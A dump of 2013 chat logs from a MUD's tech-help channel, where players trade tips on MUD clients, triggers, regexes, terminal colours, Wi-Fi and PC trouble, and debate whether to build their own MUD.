T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: well, are you sure it's using wifi instead of not finding wifi and using something else (3g, 4g, 4g lte, etc)?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: possitive, on my android I can see the 4g lte turn off and it switch to wifi, and it says, connected to the network I setup
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: weird thing is a iphone isn't working on it unless you get close, but the ipad does work
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Smoke this Blunt Tech: right now i'm on the network on my laptop, about 5 ft away from the router, if I walk about 10ft away it disconnects
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: how do I get rauctions added 
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: err sorry
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rondel Tech: found it but hit enter :/
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Pharaoh Otep Tech: hey guys
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Pharaoh Otep Tech: aliase for portals. get map bag= you dont see a bag
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Pharaoh Otep Tech: wtf is dat
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Pharaoh Otep Tech: wtb help with mapper via tell
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Pharaoh Otep Tech: TO FIX MY BOT
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Biznitch Isabelle Tech: anyone using z 7.21 and knows how to setup the automap plz send me a tell......offer good tp for help
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Biznitch Isabelle Tech: anyone use zmud 7.21?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: anyone know about xterm?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: What about xterm?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: how
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Keep going...
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: i'm on a wii with xxtterm i acant get the backspace to work right or stop the scrolling from breaking my typing
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, using raw telnet?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: the 2nd part of that is a simple command i forgot
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: yeh
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: i'm an uber newb also
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: i f
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Do what I'm doing and read the man page :P
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: i figured out ho to do that thannks i'll study it harder :)
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I don't really use xterm though, do you have other terminal emulators available?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Also, try to get a proper client going so you can play with scripts and stuff :)
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: probabyly it came with  a default termianl
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: thanks i'll check into i clients for debian squaaeeze linux for wii
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: If you have squeeze you should be able to run apt-get update and apt-cache search mud :P
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vliam Tech: I'm not sure what you'll find that way.  Probably mudlet.  It's not bad.  Definitely better than telnetting.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zetkax Tech: when i was using telnet through xterm i would often get disconnected until i started using mccp
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Pedwiddle Tech: You can find tt++, tinyfugue, and mudlet on Debian, at least
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I like tt++ anyway, didn't really give tf much time.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vliam Tech: I used tt++ for a while but that was a decade ago.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zimzar Tech: i'm gonna quuit and scroll up, write that down, and try it. bbl and thnx
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zetkax Tech: you should consider mushclient / wine
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vliam Tech: I'm using mushclient through wine now.  I ran mudlet for a while but this is much better.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: how to i take a on sreen photo and open it on paint?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Thunderax Tech: print screen then paste
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Remarto Tech: print screen and copy paste?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}WildWolfie Tech: press control + the print screen button on keyboard then in paint press control + V
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Any German users here? Checked out loosr.de yet? :P
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: Hi, I'm using Mudlet with the MAG scripts and now every tick an empty line shows up... it's VERY anoying. Any help?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vonliege Tech: is there a DPS tracker out there?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Thunderax Tech: dtrack?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vonliege Tech: dtrack can't differenciate between spells that proc 2 times compared to spells that proc 5-6-10 times
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vonliege Tech: e.g....  spell X does 100 damages twice, while spell Y does 50 damage ten times....  
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vonliege Tech: spell ex will average 100, but really be 200, while spell Y will do 500 damage, but Dtrack will show average 50
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Vonliege Tech: I'm looking for a DPS meter that reports per-round damage
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Pharaoh Otep Tech: I want one to. That seperates party members damage into percent.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: Please, someone knows how can I stop a line to appear every tick in Mudlet?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Turie Tech: type tick?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: still appears :/
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: it's like pressing enter with no command
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: every tick.. don't know if has something to do with MAG scripts
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: in triggers, under "delete lines" is this rule: "^--> TICK <--". Does it has something to do? maybe it's supposed to erase that line, but it's not working...
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Jolter Tech: any links for useful MUSHClient triggers?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Turie Tech: Nope.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Jolter Tech: well hell lol
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Turie Tech: That is a place Santa is from.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Jolter Tech: lol
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Turie Tech: Finger Bast for a Mini-Window Setup.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Trachx Tech: for triggers the most useful are proably the one playing sound when GQ is announced and that notifying you when there are custom exits in room
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Jolter Tech: yeah... right now im trying to figure out the channel names... the Newbie channel has brackets around it yet the Tech channel doesnt.... hmmm
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zetkax Tech: can mapper notes be multiline?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Turie Tech: If it is long enough.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Zetkax Tech: i want to embed newlines, not wrap
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: looks like my AV receiver had hdmi break.  What sorts of user actions would result in that (besides obvious things like breaking off connectors or obvious-damage stuff like that)?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Have you tried obvious stuff like pulling the power, waiting a while, and trying it again? My bluray player occasionally forgets how to HDMI and needs the power cord pulled out to get it to remember.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Loremaster Ramuthalus Tech: that usually a side effect of emi
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: the blueray is the only thing on HDMI currently, but it works perfectly connected straight to the TV.  If I go through the receiver, I get sound but no video.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: Can someone please help me making a perl regex to prevent the "[317/317hp 446/446mn 681/681mv 5qt 146tnl] >" bar appearing every game tick?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: try 'prompt'
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: err, no
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: yeah you could just turn your prompt off or something?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: tickinfo?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ok, it's prompt after all. need to get another beer, i guess
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: I've tryed tickinfo, but didn't work
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that's a prompt. dunno why you see it on ticks
T3/r7/2013-03-03.txt.gz:{chan ch=tech}BobTheGreat Tech: Do you have a plugin that's causing your client to do something that would get Aard to send you a prompt? Something like send a blank line?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, what bob said
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: it's possible, I'm using wudlet with the MAG scripts
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: mudlet, that is
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Glidder Tech: Ok, I used "prompt" and it stopped showing it, but empty lines keep spamming, so I guess it's mudlet aardwolf gui's fault
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish shrugs helplessly.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: if one wanted to emulate the adjusted-for-visibility xterm colors in
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: oops.  ...in clientside messaging, how would one go about it other than looking up echoed values in a preassembled list?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Birdbrain Metria Tech: What are you talking about?
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: Aard parses some xterm colors for better visibility on the average monitor.  This produces differences in actual display (server messaging sent to the client) compared to raw xterm coloring (client messaging).  If I were to work with the rawcolors format, I think this would mean that the xterm code sent by Aard would not really show up the same if I were to use it in a client echo, and I'd like to process that difference out.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: you can see what I'm referring to by comparing the "color 256" list (what it looks like when Aard sends those colors) and the "color raw256" list (what it looks like when the client processes the equivalent xterm ansi code, ie, esc [ 38 ; 5 ; 123 m).  When I print a color, I'd like it to be the same as what Aard would show me.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Yeah, I see it mentions automatic brightening in 'help xterm'. Why wouldn't a map table work for that? You'd have to figure out which color is which, but once you have that making a translation wouldn't be hard.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Hanslanda Tech: just wanted to see if there was a more direct way than a lookup table.
T3/r7/2013-03-03.txt.gz:{chan ch=tech}Birdbrain Metria Tech: IDK, sorry. :/
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Varas Tech: I got a problem with windows 8. Now I know what you're gonna say, but bear with me..
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Varas Tech: It shuts off with a fatal error (blue screen) like every 5 minutes
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Varas Tech: I've googled, and I've shut off the 'fast boot' option
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Varas Tech: didn't really do anything.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: have you run a virus check?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Varas Tech: Not any "real" virus check (norton/mcafee)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Varas Tech: Just spybot or something
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nesta Tech: anyone knows what are some good plugins to use?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: bast plugins are always a good start
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nesta Tech: thank you
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: finger bast for the place to download i beleive
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lets say i want to start a mud from scratch ...where would i start?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Swalec Tech: line 1
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: lol :P i meen is there a generator or somthing? stock muds i could edit?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ROM
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's not starting a mud from scratch tho
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Swalec Tech: more seriously, I think you need to think why you want to do this? What sort of feel do you want to the mud? Or do you just want to play with the software? 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, if you can't google it and send me a tell instead you're probably not capable of running or developing a mud
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i want to make my own mud have a theme an plan all set up just need to make it lol :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: Be aware coding a mud requires VERY detailed knowledge of C and Linux, usually - you can try and fudge it, but you would most likely be disappointed with the results.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: Also I would say at this point dedicated new players are at a SERIOUS premium
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok it seems i would need a lasher clone to help me make my ideas real :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: or you could learn to use google and write code
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Seltsimees Dagnir, in complete agreement.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i use google daily and i can only do html :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: or buy a textbook on the subject
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yet you aren't capable of googling "rom mud"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i did rofl
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: Lasher is rather unique in that he has made a mud which stood the test of time, and rewrote the back end. I would guess you could get a something you could call a mud with at most .01 Lashers
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: Seriously though, take a squiz at the top 10 muds wherever, and see how many list 'custom codebase' - I believe there is 1 only
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: A mud is a bad first project outside of html, in any case. I would suggest something a lot simpler, like a Zork rehash or some such, while you learn
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: After the Zork rehash, try a Roguelike - then a mud, if you remain so inclined
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: this seemed a good idea before i asked...now not so sure lol
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you could probably create a mud in emacs
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: i'm confused why you would ever *want* to create a mud when THIS mud allows you create areas
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: you can make fancy mobprogs to do special damage and give them special messages
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: you can make an area with custom exits and all that fancy stuff
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: YOu create a mud so you can nuke players.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: oh, well, i didn't think of it from that angle
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Global Thermonuclear War.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jaenelle Tech: and soon discover that you have no players. ;)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: Scars nods at Jaenelle.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: seems like making a mud, in this day and age, seems like you're just begging to undertake a frivolous endevour
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: or however them fancy words and speeled
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: are*
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: i think that if you have some creative energy flowing right now, and you really want to share that with other people who like to mud, i would ask that you get in touch with the imms and try and become a builder...
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: I'd say people create muds for fun. I've written a whole framework for a MUD, even had it live for a few seconds, and it was actually great fun.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: sure, i'd hope that lasher made and maintains this mud because he enjoys both playing it and modifying it
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: i'm just sort of lost as to why you'd waste creative energy on something almost no one will ever see and you will almost surely have to recreate whatever it is that you did there, assuming it's transferrable, to bring it here
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: when you could just do it here in the first place
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: lasher's never going to let you in on the true backend code, but making your own areas, with equipment, a storyline, interactive mobs, meaningful dialogue in the area, descriptions that aren't ripped off wikipedia, and all that... that seems, to me, like a more worthwhile thing to do because the audience that would get to appreciate/enjoy/hate your hard work is larger
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: That's like saying why would you build a house if you can just annex another room to your existing one, owned by a landlord.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: no, i think a better analogy would be "why draw, what you believe to be is, a masterpiece on the back of a napkin just to have to throw it away, when you could draw it in a studio under someone else's name"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: building a house isn't something you tend ot share with people
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: Scars, area development is not all that a mud is - networking code, combat system and spells, etc - I would say area building is perhaps 50% of the mud
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: i wasn't trying to imply that building an area was all that a mud is
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: just that it would be a more worthwhile (in my opinion, only) way to milk the creative juices as it pertains to muds
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: You were saying outright that it was pointless to create a mud, because you can create an area here - I would say that ignores the other 50% of what a mud is
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: And also the theme of playing. Aardwolf has a fixed style of combat, but what if you wanted to experiment with another style? I haven't played enough muds to know what an example would be, but I'm pretty sure it can't be achieved robustly through building an area.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: There are many, many other combat systems out there for muds
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: what i was trying to say was that building an area for aardwolf, an existing mud with a large playerbase, makes more sense to me than attepting to write a whole new mud
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: i don't understand what's accomplished by making a mud that's exactly what you want it to be that no one else plays
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: Depending on what you want, one or the other is the right thing for you. There is no definitive rubric to decide which one is less futile than the other
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Rondel Tech: does aardwolf have any theme or can you just throw any kind of area/story in?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: right, i've tried to make it clear that i'm just stating my viewpoint on this... i really wasn't trying to speak authoritative, and i think you guys bring up some good points regarding the administrative aspects and things like combat mechanics
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: no theme, to speak of
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: well, fantasy i suppose
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Rondel Tech: isn't that genre?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: fair point
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: Aard has certain building rules in regards to theme, but fantasy is the overarching one
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: And themes are subsets of genres, really
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vakieh Tech: albeit, non-exclusive subsets
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Rondel Tech: mmk
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: Not to mention the seven others in there.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}BobTheGreat Tech: mis
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: got an alias from norton here... provided a few days ago, and I still don't really know why it works... ^mm(\s+(.*)?(\.)?(\w+)?)?$
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: but I do know that there is some wizardry in there that allows for spaces....
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: my troublw is now that I need there not to be an extra space before the '%1'
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: I am using it for a mapper macro that doesn't work if there's more than one space after "area".  e.g. mapper area  <room>
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: is there anyone here?  or am I talking at the wall?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: talking at the wall most like.... <sigh>
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: hey... who left this beef jerky sitting here?  I'M EATING THIS JERKY.....  ANYONE THAT MAY BE HERE!
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vonliege Tech: how does one navigate up and down layers in the clients map?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I don't think Aard allows unicode in titles and/or pretitles, right?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone knows how non-ASCII characters might have ended up in ZMUD or MUSH logs?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I'm looking at a perplexing 0xff and 0xf5 in particular.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Bast Tech: unicode passes through the mud like so: Österreich
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Bast Tech: that was for Trurien
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Hmm.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yeah, and it doesn't get caught in any logs, right?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: So by counting the number of 1s in the first character, you know how many bytes it is.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien puts his finger in his mouth and says, "Oopsie! Did I do that?"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Bast Tech: what logs are we talking about?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: ZMUD and MUSH, apparently.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I've been trying to parse ANSI colours into HTML using a python script...
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Bast Tech: if you are logging to a file, then anything sent to the output will get into the logs
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But the system I'm playing with doesn't seem to work well with Unicode
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Problem is, though, 0xff is not a valid utf-8 character.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: So I'm not sure how it got in there.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Bast Tech: it logs fine in MUSHclient, which has unicode support. Does ZMUD have unicode support? Maybe it does a bad conversion when logging.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Perhaps.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I couldn't imagine what might translate to 0xff, though, maybe something was shifted.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nocilis Tech: 0xFF is s
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nocilis Tech: special depending on what unicode it is
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nocilis Tech: in utf 8 it denotes the BOM marking a multibyte char
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Skgubza Tech: hi:0
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Skgubza Tech: hello, anyone knows how to setup my character to spellup up each and evert 20mins?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mushclient?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Skgubza Tech: yep:)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: go to timers
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: add a new one set to 20 mins and type in the box spellup
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Skgubza Tech: do I need to have quest point to trigger the time?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: no
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Skgubza Tech: where, Do i have to do it on my client?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes shift + ctr + 0
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: should be at the top of the mushclientt a little clock
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ferun Tech: whats the help command for the spellup plungin again?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: which spellup plugin?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ferun Tech: im not sure which one it is. been a while since i logged in
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mm maby try spellup help
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ferun Tech: i may just have to reload the addon. strange that the triggers are failing
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ferun Tech: hm i think i might have deleted it. is there an updated one i can download? 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ferun Tech: spellup plugin that is. 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think so 1 sec
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: so guys, new tomb raider game, yay or nay? I can get it for £15.26 on steam as I still have a bunch of money left in my steam wallet
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Android Tech: mushclient, send a tell if you know about Run-Time error.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Rondel Tech: yay then tell me if it's good
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: who uses sharptracker script?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Getsuko Tech: If I use SetVariable within one plugin, why can't I see it outside the plugin?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If I'm using VPN hosted in the UK, is there anyway to prevent browser redirects? For exaple, but not the only instance. If I go to google.com I automatically get directed to www.google.co.uk
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: proxy maby
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: use http://www.google.com/ncr
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: but probably there is no way to avoid redirecting, unles web page provide some method for it (like google with http://www.google.com/ncr)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: beautiful, thanks. But that only solved the google issue. The reason I chose to use a VPN was to avoid locality filters (not available in your country, etc) right now what I have to do is disconnect from the UK server, and connect to the US Midwest, or specific country .. is there a better way?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: I don't think there is good solution to it, website chooses to serve only specified IP range and for rest of them do redirect
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: in such case, you cannot avoid being redirected - because, even if your browser won't honor it - you won't get content
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: some kind of solution could be using multiple proxys / VPN connections
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: but that would require more specialized software or at least modifying routes by hand
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: I mean, it is uncommon to use 10 proxies for web browsing - like opening 10 web addresses each of them reached by another proxy
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: did Cheezburger notice that UK google information is censored and USA google is not censored
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: you could consider renting some servers in different locations with VNC access and use it, but that is rather expensive solution
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: well, some content is available only to specific IP range, like watching BBC only from UK
